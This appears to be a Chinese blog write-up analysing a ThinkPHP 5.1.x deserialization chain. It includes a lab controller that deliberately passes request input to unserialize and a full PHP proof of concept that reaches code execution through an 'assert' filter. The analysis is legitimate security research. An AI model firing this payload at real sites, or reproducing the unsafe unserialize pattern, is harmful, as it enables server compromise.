环境搭建
利用composer下载tp5.1.37的环境
composer create-project --prefer-dist topthink/think thinkphp5.1.37
cd thinkphp5.1.37
修改composer.json文件里的为:topthink/framework": "5.1.37
保存退出执行:composer update
要进行反序列化攻击,需要可控的unserialize,在index控制器中写入
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$a = unserialize(input('c'));
var_dump($a);
}
}
漏洞分析
这条链的前面部分跟tp5.0.24那条链一样,先全局查找__destruct魔术方法,找到文件/thinkphp/library/think/process/pipes/Windows.php
public function __destruct()
{
$this->close();
$this->removeFiles();
}
跟进removeFiles方法,file_exists函数执行会把里里面的参数当做字符串,所以可以调用__toString魔术方法。
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这里,全局查找__toString,这里存在两条链,我们利用\thinkphp\library\think\model\concern\Conversion.php
这条链来构造,这里要怎么调用到__toString方法,而Conversion类是trait关键字声明的,无法被实例化。在类中,可以使用use关键字来继承这个Conversion类,全局查找Conversion类,发现\thinkphp\library\think\Model.php
抽象类不能被实例化,需要找他的子类,发现\thinkphp\library\think\model\Pivot.php
,所以payload为:
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
继续跟进__toString魔术方法中toJson->toArray()方法
当$relation可控的时候可以触发__call方法,这里,$this->append可控就代表key和name可控,跟进getRelation方法看一下
当条件语句都不满足无任何返回,就继续跟进getAttr方法
这里始终都会执行getData,跟进这个函数
$this->data可控,就代表$relation变量可控,所以就可以触发__call方法,全局查找一下。这里可以利用tprce那个那个类来触发命令执行。
这里$this->hook[$method]是可控,而array_unshift函数会在$args数组前插入新元素,所以导致$args不可控,分析过tp5rce的都知道filterValue方法存在call_user_func可以构造rce。
这里,怎么执行到filterValue,该类的input方法可以调用,但是input方法的参数不可控
需要查找哪里调用input方法了,发现param调用了input
这里$this->param可控,而name不可控,又需要查找哪里调用param方法
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
找到isAjax方法,$this->config可控,就代表param方法中的name参数可控,就代表input方法中data,name参数都可控,继续回到input方法查看第1373行,在filterValue方法$filters参数要可控
$filter = $this->getFilter($filter, $default);
跟进getFilter方法
$this->filter可控就代表了filterValue方法$filters参数可控,所以组合起来,poc如下
<?php
namespace think;
abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
$this->data = ["aaaa"=>new Request()];
}
}
class Request
{
protected $param;
protected $hook;
protected $filter;
protected $config;
function __construct(){
$this->filter = "assert";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->param = ["phpinfo()"];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>
影响版本
不同版本生成的exp不同,如下是影响版本:
5.1.3 < tp < 5.1.37
参考文章
1.https://nikoeurus.github.io/2019/12/31/ThinkPHP%205.1.x反序列化
- Post link: http://yoursite.com/2020/05/09/ThinkPHP5.1.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/
- Copyright Notice: All articles in this blog are licensed under unless stating additionally.
若您想及时得到回复提醒,建议跳转 GitHub Issues 评论。
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues